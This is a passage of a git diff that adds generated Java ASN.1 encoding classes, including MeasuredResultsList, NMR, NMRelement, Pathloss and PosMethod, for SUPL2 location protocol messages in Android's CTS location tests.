+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrequencyInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "frequencyInfo : "
+ + getFrequencyInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtra_CarrierRSSI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtra_CarrierRSSI();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtra_CarrierRSSIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRA_CarrierRSSI.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utra_CarrierRSSI : "
+ + getUtra_CarrierRSSI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellMeasuredResultsList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellMeasuredResultsList();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellMeasuredResultsListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellMeasuredResultsList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellMeasuredResultsList : "
+ + getCellMeasuredResultsList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MeasuredResults = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java
new file mode 100755
index 0000000..45fd709
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MeasuredResultsList
+ extends Asn1SequenceOf<MeasuredResults> {
+ //
+
+ private static final Asn1Tag TAG_MeasuredResultsList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MeasuredResultsList() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MeasuredResultsList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MeasuredResultsList != null) {
+ return ImmutableList.of(TAG_MeasuredResultsList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MeasuredResultsList from encoded stream.
+ */
+ public static MeasuredResultsList fromPerUnaligned(byte[] encodedBytes) {
+ MeasuredResultsList result = new MeasuredResultsList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MeasuredResultsList from encoded stream.
+ */
+ public static MeasuredResultsList fromPerAligned(byte[] encodedBytes) {
+ MeasuredResultsList result = new MeasuredResultsList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public MeasuredResults createAndAddValue() {
+ MeasuredResults value = new MeasuredResults();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MeasuredResultsList = [\n");
+ final String internalIndent = indent + " ";
+ for (MeasuredResults value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java
new file mode 100755
index 0000000..fe8e14e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NMR
+ extends Asn1SequenceOf<NMRelement> {
+ //
+
+ private static final Asn1Tag TAG_NMR
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NMR() {
+ super();
+ setMinSize(1);
+setMaxSize(15);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NMR;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NMR != null) {
+ return ImmutableList.of(TAG_NMR);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NMR from encoded stream.
+ */
+ public static NMR fromPerUnaligned(byte[] encodedBytes) {
+ NMR result = new NMR();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NMR from encoded stream.
+ */
+ public static NMR fromPerAligned(byte[] encodedBytes) {
+ NMR result = new NMR();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public NMRelement createAndAddValue() {
+ NMRelement value = new NMRelement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NMR = [\n");
+ final String internalIndent = indent + " ";
+ for (NMRelement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java
new file mode 100755
index 0000000..c897c46
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NMRelement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NMRelement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NMRelement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NMRelement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NMRelement != null) {
+ return ImmutableList.of(TAG_NMRelement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NMRelement from encoded stream.
+ */
+ public static NMRelement fromPerUnaligned(byte[] encodedBytes) {
+ NMRelement result = new NMRelement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NMRelement from encoded stream.
+ */
+ public static NMRelement fromPerAligned(byte[] encodedBytes) {
+ NMRelement result = new NMRelement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NMRelement.aRFCNType aRFCN_;
+ public NMRelement.aRFCNType getARFCN() {
+ return aRFCN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NMRelement.aRFCNType
+ */
+ public void setARFCN(Asn1Object value) {
+ this.aRFCN_ = (NMRelement.aRFCNType) value;
+ }
+ public NMRelement.aRFCNType setARFCNToNewInstance() {
+ aRFCN_ = new NMRelement.aRFCNType();
+ return aRFCN_;
+ }
+
+ private NMRelement.bSICType bSIC_;
+ public NMRelement.bSICType getBSIC() {
+ return bSIC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NMRelement.bSICType
+ */
+ public void setBSIC(Asn1Object value) {
+ this.bSIC_ = (NMRelement.bSICType) value;
+ }
+ public NMRelement.bSICType setBSICToNewInstance() {
+ bSIC_ = new NMRelement.bSICType();
+ return bSIC_;
+ }
+
+ private NMRelement.rxLevType rxLev_;
+ public NMRelement.rxLevType getRxLev() {
+ return rxLev_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NMRelement.rxLevType
+ */
+ public void setRxLev(Asn1Object value) {
+ this.rxLev_ = (NMRelement.rxLevType) value;
+ }
+ public NMRelement.rxLevType setRxLevToNewInstance() {
+ rxLev_ = new NMRelement.rxLevType();
+ return rxLev_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getARFCN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getARFCN();
+ }
+
+ @Override public void setToNewInstance() {
+ setARFCNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NMRelement.aRFCNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "aRFCN : "
+ + getARFCN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBSIC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBSIC();
+ }
+
+ @Override public void setToNewInstance() {
+ setBSICToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NMRelement.bSICType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bSIC : "
+ + getBSIC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRxLev() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRxLev();
+ }
+
+ @Override public void setToNewInstance() {
+ setRxLevToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NMRelement.rxLevType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rxLev : "
+ + getRxLev().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class aRFCNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_aRFCNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public aRFCNType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_aRFCNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_aRFCNType != null) {
+ return ImmutableList.of(TAG_aRFCNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new aRFCNType from encoded stream.
+ */
+ public static aRFCNType fromPerUnaligned(byte[] encodedBytes) {
+ aRFCNType result = new aRFCNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new aRFCNType from encoded stream.
+ */
+ public static aRFCNType fromPerAligned(byte[] encodedBytes) {
+ aRFCNType result = new aRFCNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "aRFCNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bSICType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bSICType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bSICType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bSICType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bSICType != null) {
+ return ImmutableList.of(TAG_bSICType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bSICType from encoded stream.
+ */
+ public static bSICType fromPerUnaligned(byte[] encodedBytes) {
+ bSICType result = new bSICType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bSICType from encoded stream.
+ */
+ public static bSICType fromPerAligned(byte[] encodedBytes) {
+ bSICType result = new bSICType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bSICType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rxLevType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rxLevType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rxLevType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rxLevType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rxLevType != null) {
+ return ImmutableList.of(TAG_rxLevType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rxLevType from encoded stream.
+ */
+ public static rxLevType fromPerUnaligned(byte[] encodedBytes) {
+ rxLevType result = new rxLevType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rxLevType from encoded stream.
+ */
+ public static rxLevType fromPerAligned(byte[] encodedBytes) {
+ rxLevType result = new rxLevType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rxLevType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NMRelement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java
new file mode 100755
index 0000000..f4103d3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Pathloss extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_Pathloss
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Pathloss() {
+ super();
+ setValueRange("46", "173");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Pathloss;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Pathloss != null) {
+ return ImmutableList.of(TAG_Pathloss);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Pathloss from encoded stream.
+ */
+ public static Pathloss fromPerUnaligned(byte[] encodedBytes) {
+ Pathloss result = new Pathloss();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Pathloss from encoded stream.
+ */
+ public static Pathloss fromPerAligned(byte[] encodedBytes) {
+ Pathloss result = new Pathloss();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "Pathloss = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java
new file mode 100755
index 0000000..8a7891e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PosMethod extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ agpsSETassisted(0),
+ agpsSETbased(1),
+ agpsSETassistedpref(2),
+ agpsSETbasedpref(3),
+ autonomousGPS(4),
+ aFLT(5),
+ eCID(6),
+ eOTD(7),
+ oTDOA(8),
+ noPosition(9),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ver2_historicalDataRetrieval(10),
+ ver2_agnssSETassisted(11),
+ ver2_agnssSETbased(12),
+ ver2_agnssSETassistedpref(13),
+ ver2_agnssSETbasedpref(14),
+ ver2_autonomousGNSS(15),
+ ver2_sessioninfoquery(16),
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_PosMethod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosMethod() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosMethod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosMethod != null) {
+ return ImmutableList.of(TAG_PosMethod);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new PosMethod from encoded stream.
+ */
